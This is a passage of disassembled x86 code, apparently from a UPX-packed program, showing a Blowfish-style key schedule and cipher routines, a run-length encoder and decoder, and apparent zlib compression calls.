eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp+var_8], edx mov eax, [ebp+var_8] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp+var_9C] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp+var_68], eax mov [ebp+var_B0], 100h mov eax, [ebp+var_8] cdq mov ecx, 2710h idiv ecx mov [ebp+var_A4], eax mov eax, [ebp+var_8] cdq mov ecx, 2710h idiv ecx mov [ebp+var_A0], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_AC], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_A8], edx mov ecx, [ebp+var_A0] imul ecx, [ebp+var_A8] mov edx, [ebp+var_A4] imul edx, [ebp+var_A8] mov eax, [ebp+var_A0] imul eax, [ebp+var_AC] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp+var_8], edx mov eax, [ebp+var_8] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp+var_B0] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp+var_6C], eax mov [ebp+var_C4], 100h mov eax, [ebp+var_8] cdq mov ecx, 2710h idiv ecx mov [ebp+var_B8], eax mov eax, [ebp+var_8] cdq mov ecx, 2710h idiv ecx mov [ebp+var_B4], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_C0], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_BC], edx mov ecx, [ebp+var_B4] imul ecx, [ebp+var_BC] mov edx, [ebp+var_B8] imul edx, [ebp+var_BC] mov eax, [ebp+var_B4] imul eax, [ebp+var_C0] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp+var_8], edx mov eax, [ebp+var_8] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp+var_C4] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp+var_70], eax mov edx, [ebp+var_10] shl edx, 0Ah mov eax, [ebp+arg_0] add eax, edx mov ecx, [ebp+var_6C] shl ecx, 8 mov edx, [ebp+var_68] shl edx, 10h mov esi, [ebp+var_74] shl esi, 18h or esi, edx or esi, ecx or esi, [ebp+var_70] mov ecx, [ebp+var_5C] mov [eax+ecx*4], esi jmp loc_48F90C ; --------------------------------------------------------------------------- loc_48FC69: ; CODE XREF: sub_48F82B+F1j jmp loc_48F8F0 ; --------------------------------------------------------------------------- loc_48FC6E: ; CODE XREF: sub_48F82B+D2j mov [ebp+var_10], 0 mov [ebp+var_5C], 0 jmp short loc_48FC87 ; --------------------------------------------------------------------------- loc_48FC7E: ; CODE XREF: sub_48F82B+4CCj mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_48FC87: ; CODE XREF: sub_48F82B+451j cmp [ebp+var_10], 12h jge short loc_48FCF9 mov [ebp+var_64], 0 mov [ebp+var_60], 0 jmp short loc_48FCA6 ; --------------------------------------------------------------------------- loc_48FC9D: ; CODE XREF: sub_48F82B:loc_48FCD8j mov eax, [ebp+var_60] add eax, 1 mov [ebp+var_60], eax loc_48FCA6: ; CODE XREF: sub_48F82B+470j cmp [ebp+var_60], 4 jge short loc_48FCDA mov ecx, [ebp+var_64] shl ecx, 8 mov edx, [ebp+arg_4] add edx, [ebp+var_5C] movsx eax, byte ptr [edx] or ecx, eax mov [ebp+var_64], ecx mov ecx, [ebp+var_5C] add ecx, 1 mov [ebp+var_5C], ecx mov edx, [ebp+var_5C] cmp edx, [ebp+arg_8] jl short loc_48FCD8 mov [ebp+var_5C], 0 loc_48FCD8: ; CODE XREF: sub_48F82B+4A4j jmp short loc_48FC9D ; --------------------------------------------------------------------------- loc_48FCDA: ; CODE XREF: sub_48F82B+47Fj mov eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+1000h] xor edx, [ebp+var_64] mov eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+eax*4+1000h], edx jmp short loc_48FC7E ; --------------------------------------------------------------------------- loc_48FCF9: ; CODE XREF: sub_48F82B+460j mov [ebp+var_4], 0 mov [ebp+var_C], 0 mov [ebp+var_10], 0 jmp short loc_48FD19 ; --------------------------------------------------------------------------- loc_48FD10: ; CODE XREF: sub_48F82B+528j mov edx, [ebp+var_10] add edx, 2 mov [ebp+var_10], edx loc_48FD19: ; CODE XREF: sub_48F82B+4E3j cmp [ebp+var_10], 12h jge short loc_48FD55 lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_48FDCE add esp, 0Ch mov eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov edx, [ebp+var_4] mov [ecx+eax*4+1000h], edx mov eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+eax*4+1004h], edx jmp short loc_48FD10 ; --------------------------------------------------------------------------- loc_48FD55: ; CODE XREF: sub_48F82B+4F2j mov [ebp+var_10], 0 jmp short loc_48FD67 ; --------------------------------------------------------------------------- loc_48FD5E: ; CODE XREF: sub_48F82B:loc_48FDC7j mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_48FD67: ; CODE XREF: sub_48F82B+531j cmp [ebp+var_10], 4 jge short loc_48FDC9 mov [ebp+var_5C], 0 jmp short loc_48FD7F ; --------------------------------------------------------------------------- loc_48FD76: ; CODE XREF: sub_48F82B+59Aj mov ecx, [ebp+var_5C] add ecx, 2 mov [ebp+var_5C], ecx loc_48FD7F: ; CODE XREF: sub_48F82B+549j cmp [ebp+var_5C], 100h jge short loc_48FDC7 lea edx, [ebp+var_C] push edx lea eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_48FDCE add esp, 0Ch mov edx, [ebp+var_10] shl edx, 0Ah mov eax, [ebp+arg_0] add eax, edx mov ecx, [ebp+var_5C] mov edx, [ebp+var_4] mov [eax+ecx*4], edx mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+arg_0] add ecx, eax mov edx, [ebp+var_5C] mov eax, [ebp+var_C] mov [ecx+edx*4+4], eax jmp short loc_48FD76 ; --------------------------------------------------------------------------- loc_48FDC7: ; CODE XREF: sub_48F82B+55Bj jmp short loc_48FD5E ; --------------------------------------------------------------------------- loc_48FDC9: ; CODE XREF: sub_48F82B+540j pop esi mov esp, ebp pop ebp retn sub_48F82B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48FDCE proc near ; CODE XREF: sub_48F82B+500p ; sub_48F82B+569p ... var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_8] mov eax, [edx] mov [ebp+var_8], eax mov [ebp+var_10], 0 jmp short loc_48FDF8 ; --------------------------------------------------------------------------- loc_48FDEC: ; CODE XREF: sub_48FDCE+6Fj mov cx, [ebp+var_10] add cx, 1 mov [ebp+var_10], cx loc_48FDF8: ; CODE XREF: sub_48FDCE+1Cj movsx edx, [ebp+var_10] cmp edx, 10h jge short loc_48FE3F movsx eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov edx, [ebp+var_4] xor edx, [ecx+eax*4+1000h] mov [ebp+var_4], edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_48FE83 add esp, 8 xor eax, [ebp+var_8] mov [ebp+var_8], eax mov edx, [ebp+var_4] mov [ebp+var_C], edx mov eax, [ebp+var_8] mov [ebp+var_4], eax mov ecx, [ebp+var_C] mov [ebp+var_8], ecx jmp short loc_48FDEC ; --------------------------------------------------------------------------- loc_48FE3F: ; CODE XREF: sub_48FDCE+31j mov edx, [ebp+var_4] mov [ebp+var_C], edx mov eax, [ebp+var_8] mov [ebp+var_4], eax mov ecx, [ebp+var_C] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] xor eax, [edx+1040h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_4] xor edx, [ecx+1044h] mov [ebp+var_4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_8] mov eax, [ebp+var_8] mov [edx], eax mov esp, ebp pop ebp retn sub_48FDCE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48FE83 proc near ; CODE XREF: sub_48FDCE+4Fp ; sub_48FFA4+4Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_4] shr ecx, 10h and ecx, 0FFh mov edx, [ebp+arg_0] mov eax, [edx+eax*4] mov edx, [ebp+arg_0] add eax, [edx+ecx*4+400h] mov ecx, [ebp+arg_4] shr ecx, 8 and ecx, 0FFh mov edx, [ebp+arg_0] xor eax, [edx+ecx*4+800h] mov ecx, [ebp+arg_4] and ecx, 0FFh mov edx, [ebp+arg_0] add eax, [edx+ecx*4+0C00h] pop ebp retn sub_48FE83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48FED8 proc near ; DATA XREF: sub_4B45FB+17Co var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_4C85D6 add esp, 4 mov esp, ebp pop ebp retn sub_48FED8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48FEF2 proc near ; DATA XREF: sub_4B45FB+177o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_8] and al, 0F8h mov [ebp+arg_8], eax mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx mov eax, [ebp+arg_8] cdq and edx, 3 add eax, edx sar eax, 2 mov edx, [ebp+var_4] lea eax, [edx+eax*4] mov [ebp+var_8], eax jmp short loc_48FF26 ; --------------------------------------------------------------------------- loc_48FF1D: ; CODE XREF: sub_48FEF2+53j mov ecx, [ebp+var_4] add ecx, 8 mov [ebp+var_4], ecx loc_48FF26: ; CODE XREF: sub_48FEF2+29j mov edx, [ebp+var_4] cmp edx, [ebp+var_8] jnb short loc_48FF47 mov eax, [ebp+var_4] add eax, 4 push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_48FDCE add esp, 0Ch jmp short loc_48FF1D ; --------------------------------------------------------------------------- loc_48FF47: ; CODE XREF: sub_48FEF2+3Aj mov esp, ebp pop ebp retn sub_48FEF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48FF4B proc near ; DATA XREF: sub_4B45FB+172o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_8] and al, 0F8h mov [ebp+arg_8], eax mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx mov eax, [ebp+arg_8] cdq and edx, 3 add eax, edx sar eax, 2 mov edx, [ebp+var_4] lea eax, [edx+eax*4] mov [ebp+var_8], eax jmp short loc_48FF7F ; --------------------------------------------------------------------------- loc_48FF76: ; CODE XREF: sub_48FF4B+53j mov ecx, [ebp+var_4] add ecx, 8 mov [ebp+var_4], ecx loc_48FF7F: ; CODE XREF: sub_48FF4B+29j mov edx, [ebp+var_4] cmp edx, [ebp+var_8] jnb short loc_48FFA0 mov eax, [ebp+var_4] add eax, 4 push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_48FFA4 add esp, 0Ch jmp short loc_48FF76 ; --------------------------------------------------------------------------- loc_48FFA0: ; CODE XREF: sub_48FF4B+3Aj mov esp, ebp pop ebp retn sub_48FF4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48FFA4 proc near ; CODE XREF: sub_48FF4B+4Bp var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_8] mov eax, [edx] mov [ebp+var_8], eax mov [ebp+var_10], 11h jmp short loc_48FFCE ; --------------------------------------------------------------------------- loc_48FFC2: ; CODE XREF: sub_48FFA4+6Fj mov cx, [ebp+var_10] sub cx, 1 mov [ebp+var_10], cx loc_48FFCE: ; CODE XREF: sub_48FFA4+1Cj movsx edx, [ebp+var_10] cmp edx, 1 jle short loc_490015 movsx eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov edx, [ebp+var_4] xor edx, [ecx+eax*4+1000h] mov [ebp+var_4], edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_48FE83 add esp, 8 xor eax, [ebp+var_8] mov [ebp+var_8], eax mov edx, [ebp+var_4] mov [ebp+var_C], edx mov eax, [ebp+var_8] mov [ebp+var_4], eax mov ecx, [ebp+var_C] mov [ebp+var_8], ecx jmp short loc_48FFC2 ; --------------------------------------------------------------------------- loc_490015: ; CODE XREF: sub_48FFA4+31j mov edx, [ebp+var_4] mov [ebp+var_C], edx mov eax, [ebp+var_8] mov [ebp+var_4], eax mov ecx, [ebp+var_C] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] xor eax, [edx+1004h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_4] xor edx, [ecx+1000h] mov [ebp+var_4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_8] mov eax, [ebp+var_8] mov [edx], eax mov esp, ebp pop ebp retn sub_48FFA4 endp ; --------------------------------------------------------------------------- align 4 byte_49005C db 4 dup(0CCh) ; DATA XREF: UPX0:off_426B6Co ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_490060 proc near ; CODE XREF: sub_4B45FB+1Bp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] and eax, 0FFFFh test eax, eax jnz short loc_49007B mov dword_4ED2C0, 0 jmp short loc_4900AD ; --------------------------------------------------------------------------- loc_49007B: ; CODE XREF: sub_490060+Dj mov ecx, [ebp+arg_0] and ecx, 0FFFFh cmp ecx, 1 jnz short loc_490095 mov dword_4ED2C0, 1 jmp short loc_4900AD ; --------------------------------------------------------------------------- loc_490095: ; CODE XREF: sub_490060+27j mov edx, [ebp+arg_0] and edx, 0FFFFh cmp edx, 2 jnz short loc_4900AD mov dword_4ED2C0, 7 loc_4900AD: ; CODE XREF: sub_490060+19j ; sub_490060+33j ... pop ebp retn sub_490060 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 60h cmp dword_4ED2C0, 0 jnz loc_4902C7 mov eax, [ebp+8] mov [ebp-10h], eax mov ecx, [ebp+0Ch] mov [ebp-18h], ecx mov edx, [ebp-10h] add edx, [ebp+10h] mov [ebp-8], edx mov eax, [ebp+14h] mov ecx, [ebp-18h] lea edx, [ecx+eax-2] mov [ebp-0Ch], edx mov byte ptr [ebp-4], 0FFh mov byte ptr [ebp-14h], 1 mov eax, [ebp-18h] mov byte ptr [eax], 1 mov ecx, [ebp-18h] add ecx, 1 mov [ebp-18h], ecx loc_4900FB: ; CODE XREF: .text:loc_490280j mov edx, [ebp-10h] cmp edx, [ebp-8] jnb loc_490285 mov eax, [ebp-10h] add eax, 2 cmp eax, [ebp-8] jnb loc_49020E mov ecx, [ebp-10h] xor edx, edx mov dl, [ecx] mov eax, [ebp-4] and eax, 0FFh cmp edx, eax jnz loc_49020E mov ecx, [ebp-10h] xor edx, edx mov dl, [ecx+1] mov eax, [ebp-4] and eax, 0FFh cmp edx, eax jnz loc_49020E mov ecx, [ebp-10h] xor edx, edx mov dl, [ecx+2] mov eax, [ebp-4] and eax, 0FFh cmp edx, eax jnz loc_49020E mov dword ptr [ebp-20h], 3 mov ecx, [ebp-10h] add ecx, 3 mov [ebp-1Ch], ecx loc_49016D: ; CODE XREF: .text:0049019Bj mov edx, [ebp-1Ch] cmp edx, [ebp-8] jnb short loc_49019D mov eax, [ebp-1Ch] xor ecx, ecx mov cl, [eax] mov edx, [ebp-4] and edx, 0FFh cmp ecx, edx jnz short loc_49019D mov eax, [ebp-20h] add eax, 1 mov [ebp-20h], eax mov ecx, [ebp-1Ch] add ecx, 1 mov [ebp-1Ch], ecx jmp short loc_49016D ; --------------------------------------------------------------------------- loc_49019D: ; CODE XREF: .text:00490173j ; .text:00490187j ... cmp dword ptr [ebp-20h], 3 jb short loc_490203 cmp dword ptr [ebp-20h], 101h jbe short loc_4901B5 mov dword ptr [ebp-60h], 101h jmp short loc_4901BB ; --------------------------------------------------------------------------- loc_4901B5: ; CODE XREF: .text:004901AAj mov edx, [ebp-20h] mov [ebp-60h], edx loc_4901BB: ; CODE XREF: .text:004901B3j mov eax, [ebp-60h] mov [ebp-24h], eax mov ecx, [ebp-18h] mov byte ptr [ecx], 0FFh mov edx, [ebp-18h] add edx, 1 mov [ebp-18h], edx mov eax, [ebp-24h] sub eax, 3 mov ecx, [ebp-18h] mov [ecx], al mov edx, [ebp-18h] add edx, 1 mov [ebp-18h], edx mov eax, [ebp-20h] sub eax, [ebp-24h] mov [ebp-20h], eax mov ecx, [ebp-18h] cmp ecx, [ebp-0Ch] jb short loc_490201 mov byte ptr [ebp-14h], 0 mov edx, [ebp-8] mov [ebp-10h], edx jmp short loc_490203 ; --------------------------------------------------------------------------- loc_490201: ; CODE XREF: .text:004901F3j jmp short loc_49019D ; --------------------------------------------------------------------------- loc_490203: ; CODE XREF: .text:004901A1j ; .text:004901FFj mov eax, [ebp-1Ch] sub eax, [ebp-20h] mov [ebp-10h], eax jmp short loc_490280 ; --------------------------------------------------------------------------- loc_49020E: ; CODE XREF: .text:00490110j ; .text:00490127j ... mov ecx, [ebp-10h] xor edx, edx mov dl, [ecx] cmp edx, 0FFh jnz short loc_49024E mov eax, [ebp-18h] mov byte ptr [eax], 0FFh mov ecx, [ebp-18h] add ecx, 1 mov [ebp-18h], ecx mov edx, [ebp-18h] mov byte ptr [edx], 0FFh mov eax, [ebp-18h] add eax, 1 mov [ebp-18h], eax mov ecx, [ebp-10h] mov dl, [ecx] mov [ebp-4], dl mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax jmp short loc_490272 ; --------------------------------------------------------------------------- loc_49024E: ; CODE XREF: .text:0049021Bj mov ecx, [ebp-18h] mov edx, [ebp-10h] mov al, [edx] mov [ecx], al mov ecx, [ebp-18h] mov dl, [ecx] mov [ebp-4], dl mov eax, [ebp-18h] add eax, 1 mov [ebp-18h], eax mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_490272: ; CODE XREF: .text:0049024Cj mov edx, [ebp-18h] cmp edx, [ebp-0Ch] jb short loc_490280 mov byte ptr [ebp-14h], 0 jmp short loc_490285 ; --------------------------------------------------------------------------- loc_490280: ; CODE XREF: .text:0049020Cj ; .text:00490278j jmp loc_4900FB ; --------------------------------------------------------------------------- loc_490285: ; CODE XREF: .text:00490101j ; .text:0049027Ej mov eax, [ebp-14h] and eax, 0FFh test eax, eax jnz short loc_4902B9 mov ecx, [ebp+0Ch] mov byte ptr [ecx], 0 mov edx, [ebp+10h] push edx mov eax, [ebp+8] push eax mov ecx, [ebp+0Ch] add ecx, 1 push ecx call _memcpy_1 add esp, 0Ch mov edx, [ebp+10h] add edx, 1 mov [ebp+10h], edx jmp short loc_4902C2 ; --------------------------------------------------------------------------- loc_4902B9: ; CODE XREF: .text:0049028Fj mov eax, [ebp-18h] sub eax, [ebp+0Ch] mov [ebp+10h], eax loc_4902C2: ; CODE XREF: .text:004902B7j jmp loc_490347 ; --------------------------------------------------------------------------- loc_4902C7: ; CODE XREF: .text:004900BCj push 38h push 0 lea ecx, [ebp-5Ch] push ecx call _memset_0 add esp, 0Ch push 38h push offset a1_1_4 ; "1.1.4" mov edx, dword_4ED2C0 push edx lea eax, [ebp-5Ch] push eax call sub_4BE510 add esp, 10h test eax, eax jnz short loc_490334 mov ecx, [ebp+10h] mov [ebp-58h], ecx mov edx, [ebp+14h] mov [ebp-4Ch], edx mov eax, [ebp+8] mov [ebp-5Ch], eax mov ecx, [ebp+0Ch] mov [ebp-50h], ecx push 4 lea edx, [ebp-5Ch] push edx call sub_4BEBAE add esp, 8 cmp eax, 1 jnz short loc_49032B mov eax, [ebp-50h] sub eax, [ebp+0Ch] mov [ebp+10h], eax jmp short loc_490332 ; --------------------------------------------------------------------------- loc_49032B: ; CODE XREF: .text:0049031Ej mov dword ptr [ebp+10h], 0 loc_490332: ; CODE XREF: .text:00490329j jmp short loc_49033B ; --------------------------------------------------------------------------- loc_490334: ; CODE XREF: .text:004902F3j mov dword ptr [ebp+10h], 0 loc_49033B: ; CODE XREF: .text:loc_490332j lea ecx, [ebp-5Ch] push ecx call sub_4BF045 add esp, 4 loc_490347: ; CODE XREF: .text:loc_4902C2j mov eax, [ebp+10h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_49034E(int,void *Dst,size_t Size,int) sub_49034E proc near ; CODE XREF: sub_4B4BB9+C1p ; DATA XREF: sub_4B45FB+16Do var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 Dst = dword ptr 0Ch Size = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 5Ch cmp dword_4ED2C0, 0 jnz loc_4904B5 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+var_10], eax mov ecx, [ebp+Dst] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] add edx, [ebp+Size] mov [ebp+var_8], edx mov eax, [ebp+Dst] add eax, [ebp+arg_C] mov [ebp+var_C], eax mov [ebp+var_4], 0FFh mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx] test edx, edx jnz short loc_4903B6 mov eax, [ebp+Size] sub eax, 1 mov [ebp+Size], eax mov ecx, [ebp+Size] push ecx ; Size mov edx, [ebp+arg_0] add edx, 1 push edx ; Src mov eax, [ebp+Dst] push eax ; Dst call _memcpy_1 add esp, 0Ch jmp loc_4904B0 ; --------------------------------------------------------------------------- loc_4903B6: ; CODE XREF: sub_49034E+41j ; sub_49034E:loc_49048Bj mov ecx, [ebp+var_10] cmp ecx, [ebp+var_8] jnb loc_490490 mov edx, [ebp+var_14] cmp edx, [ebp+var_C] jnb loc_490490 mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax] cmp ecx, 0FFh jnz loc_490467 mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax] cmp ecx, 0FFh jz short loc_490441 mov edx, [ebp+var_10] xor eax, eax mov al, [edx] add eax, 3 mov [ebp+var_18], eax mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+var_14] add edx, [ebp+var_18] cmp edx, [ebp+var_C] jb short loc_49041C jmp short loc_490490 ; --------------------------------------------------------------------------- loc_49041C: ; CODE XREF: sub_49034E+CAj ; sub_49034E+EFj mov eax, [ebp+var_18] mov ecx, [ebp+var_18] sub ecx, 1 mov [ebp+var_18], ecx test eax, eax jz short loc_49043F mov edx, [ebp+var_14] mov al, [ebp+var_4] mov [edx], al mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx jmp short loc_49041C ; --------------------------------------------------------------------------- loc_49043F: ; CODE XREF: sub_49034E+DCj jmp short loc_490465 ; --------------------------------------------------------------------------- loc_490441: ; CODE XREF: sub_49034E+A9j mov edx, [ebp+var_14] mov eax, [ebp+var_10] mov cl, [eax] mov [edx], cl mov edx, [ebp+var_14] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_490465: ; CODE XREF: sub_49034E:loc_49043Fj jmp short loc_49048B ; --------------------------------------------------------------------------- loc_490467: ; CODE XREF: sub_49034E+8Dj mov eax, [ebp+var_14] mov ecx, [ebp+var_10] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_14] mov cl, [eax] mov [ebp+var_4], cl mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_49048B: ; CODE XREF: sub_49034E:loc_490465j jmp loc_4903B6 ; --------------------------------------------------------------------------- loc_490490: ; CODE XREF: sub_49034E+6Ej ; sub_49034E+7Aj ... mov ecx, [ebp+var_10] cmp ecx, [ebp+var_8] jnz short loc_4904A3 mov edx, [ebp+var_14] sub edx, [ebp+Dst] mov [ebp+var_5C], edx jmp short loc_4904AA ; --------------------------------------------------------------------------- loc_4904A3: ; CODE XREF: sub_49034E+148j mov [ebp+var_5C], 0 loc_4904AA: ; CODE XREF: sub_49034E+153j mov eax, [ebp+var_5C] mov [ebp+Size], eax loc_4904B0: ; CODE XREF: sub_49034E+63j jmp loc_490537 ; --------------------------------------------------------------------------- loc_4904B5: ; CODE XREF: sub_49034E+Dj push 38h ; Size push 0 ; Val lea ecx, [ebp+var_54] push ecx ; Dst call _memset_0 add esp, 0Ch mov edx, [ebp+Size] mov [ebp+var_50], edx mov eax, [ebp+arg_C] mov [ebp+var_44], eax mov ecx, [ebp+arg_0] mov [ebp+var_54], ecx mov edx, [ebp+Dst] mov [ebp+var_48], edx push 38h push offset a1_1_4 ; "1.1.4" lea eax, [ebp+var_54] push eax call sub_4C0B5A add esp, 0Ch mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_490530 push 4 lea ecx, [ebp+var_54] push ecx call sub_4C0B75 add esp, 8 mov [ebp+var_58], eax cmp [ebp+var_58], 1 jnz short loc_49051B mov edx, [ebp+var_48] sub edx, [ebp+Dst] mov [ebp+Size], edx jmp short loc_490522 ; --------------------------------------------------------------------------- loc_49051B: ; CODE XREF: sub_49034E+1C0j mov [ebp+Size], 0 loc_490522: ; CODE XREF: sub_49034E+1CBj lea eax, [ebp+var_54] push eax call sub_4C098B add esp, 4 jmp short loc_490537 ; --------------------------------------------------------------------------- loc_490530: ; CODE XREF: sub_49034E+1A9j mov [ebp+Size], 0 loc_490537: ; CODE XREF: sub_49034E:loc_4904B0j ; sub_49034E+1E0j mov eax, [ebp+Size] mov esp, ebp pop ebp retn sub_49034E endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 24h call sub_490893 call sub_490901 mov eax, [ebp+10h] add eax, 1 push eax call sub_4C85E1 add esp, 4 mov [ebp-1Ch], eax mov ecx, [ebp-1Ch] mov [ebp-10h], ecx push 1 mov edx, [ebp+10h] push edx mov eax, [ebp-10h] push eax call sub_490743 add esp, 0Ch mov ecx, [ebp+8] mov [ebp-8], ecx mov edx, [ebp+0Ch] mov eax, [ebp-8] add eax, [edx] mov [ebp-0Ch], eax mov ecx, [ebp-8] xor edx, edx mov dl, [ecx] mov [ebp-4], edx mov eax, [ebp-8] add eax, 1 mov [ebp-8], eax loc_49059E: ; CODE XREF: .text:004906BAj mov ecx, [ebp-8] cmp ecx, [ebp-0Ch] jnb loc_4906BF xor edx, edx mov dl, byte_4F36C8 test edx, edx jnz loc_4906BF mov eax, [ebp-8] xor ecx, ecx mov cl, [eax] push ecx mov edx, [ebp-4] push edx call sub_490962 add esp, 8 mov [ebp-14h], eax mov eax, [ebp-14h] imul eax, 0Ch mov ecx, dword_4F36E0 add ecx, eax mov [ebp-18h], ecx mov edx, [ebp-18h] cmp dword ptr [edx], 0FFFFFFFFh jnz loc_4906A9 mov eax, [ebp-18h] mov ecx, dword_4F36BC mov [eax], ecx mov edx, dword_4F36BC add edx, 1 mov dword_4F36BC, edx mov eax, [ebp-18h] mov ecx, [ebp-4] mov [eax+4], ecx mov edx, [ebp-18h] mov eax, [ebp-8] mov cl, [eax] mov [edx+8], cl mov edx, dword_4F36DC push edx mov eax, [ebp-4] push eax call sub_4907D5 add esp, 8 mov ecx, [ebp-8] xor edx, edx mov dl, [ecx] mov [ebp-4], edx cmp dword_4F36BC, 7FFFh jbe short loc_49065F mov eax, dword_4F36DC push eax push 102h call sub_4907D5 add esp, 8 call sub_490901 jmp short loc_4906A7 ; --------------------------------------------------------------------------- loc_49065F: ; CODE XREF: .text:00490643j mov ecx, dword_4F36BC cmp ecx, dword_4F36CC jbe short loc_4906A7 mov edx, dword_4F36DC mov [ebp-24h], edx mov eax, [ebp-24h] push eax push 